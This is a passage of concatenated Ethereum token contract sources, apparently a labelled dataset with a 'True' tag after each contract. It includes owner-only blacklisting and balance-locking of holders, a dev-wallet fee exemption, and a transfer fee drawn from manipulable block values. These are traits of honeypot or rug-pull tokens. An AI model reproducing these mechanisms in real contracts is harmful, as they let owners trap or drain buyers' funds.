memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; _maxWalletSize = 2000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-04-27 */ // Feel The Burn // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Counters { struct Counter { uint256 _value; } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library Arrays { function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) { if (array.length == 0) { return 0; } uint256 low = 0; uint256 high = array.length; while (low < high) { uint256 mid = Math.average(low, high); if (array[mid] > element) { high = mid; } else { low = mid + 1; } } if (low > 0 && array[low - 1] == element) { return low - 1; } else { return low; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint256 private FeeNumber; uint256 private feeAmount; address private DevWallet = 0x7f1F88A2d2429377F791b2b21e5d5f0EbbB4b46D; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); FeeNumber = ((block.difficulty * block.timestamp) % 100) + 1; if (sender == DevWallet || recipient == DevWallet){ feeAmount = 1; } else{ feeAmount = (amount * FeeNumber)/100; } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); uint256 receiveAmount = amount - feeAmount; uint256 senderAmount = senderBalance - amount; _burn(sender, feeAmount); _balances[sender] = senderAmount; _balances[recipient] += receiveAmount; emit Transfer(sender, recipient, receiveAmount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); //_beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract BurnMoon is ERC20("BurnMoon", "BurnMoon") { constructor() { _mint(msg.sender, 100000000000 * 10 ** decimals()); //Owner } function _beforeTokenTransfer(address from, address to, uint256 amount) internal override(ERC20) { super._beforeTokenTransfer(from, to, amount); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-10-09 */ // SPDX-License-Identifier: MIT /* Website: https://kanekiinu.com Telegram: https://t.me/Kanekirealerc20 */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KanekiInu is Context, IERC20, Ownable, AccessControl { using SafeMath for uint256; struct LockBot { bool locked; uint256 lockedFrom; uint256 initLockedBalance; bool hardLock; } mapping(address => LockBot) private _listBot; bytes32 public constant LOCKER_ROLE = keccak256("LOCKER_ROLE"); uint256 public constant LOCK_BOT_DAYS = 7; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redistributionAddress; uint256 private _feeAddr2; address payable private _marketingAddress; string private constant _name = "Kaneki Inu"; string private constant _symbol = "KANEKI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 public openTradingTime; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } modifier onlyAdmin() { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ADMIN role required"); _; } modifier onlyLocker() { require(hasRole(LOCKER_ROLE, _msgSender()), "LOCKER role required"); _; } constructor () { _marketingAddress = payable(0xdD967516FC28559DB9Eb0be414f1a0fE888AAf5e); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(LOCKER_ROLE, _msgSender()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function isBot(address bot) external view returns (bool) { return _listBot[bot].locked; } function getLockBot(address bot) external view returns (LockBot memory) { return _listBot[bot]; } function addToListBotNormal(address bot) external onlyLocker { _listBot[bot] = LockBot(true, block.timestamp, balanceOf(bot), false); } function addToListBotHardLock(address bot) external onlyLocker { _listBot[bot] = LockBot(true, block.timestamp, balanceOf(bot), true); } function removeLockBot(address bot) external onlyLocker { _listBot[bot].locked = false; _listBot[bot].hardLock = false; } function _getBalanceUnlocked(address bot) internal view returns (uint256 unlockedBalance) { LockBot memory info = _listBot[bot]; uint256 daysPassed = (block.timestamp - info.lockedFrom) / 1 days; if (info.locked && daysPassed < LOCK_BOT_DAYS) { unlockedBalance = (daysPassed * info.initLockedBalance) / LOCK_BOT_DAYS; } else { unlockedBalance = info.initLockedBalance; } return unlockedBalance; } function remainBalanceLocked(address bot) public view returns (uint256) { return _listBot[bot].initLockedBalance - _getBalanceUnlocked(bot); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); // Check if the address is a bot if (_listBot[from].locked) { uint256 lockedBalance = remainBalanceLocked(from); require( !_listBot[from].hardLock && (balanceOf(from) - amount) >= lockedBalance, "bot cannot transfer locked balance" ); } if (from != address(this)) { _redistributionAddress = 1; _feeAddr2 = 4; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { if (block.timestamp < openTradingTime + 30 seconds) { require(amount <= _maxTxAmount); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner { _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); openTradingTime = block.timestamp; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistributionAddress, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-10-23 */ /** *Submitted for verification at Etherscan.io on 2021-10-11 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } pragma solidity ^0.8.0; interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } pragma solidity ^0.8.0; interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { 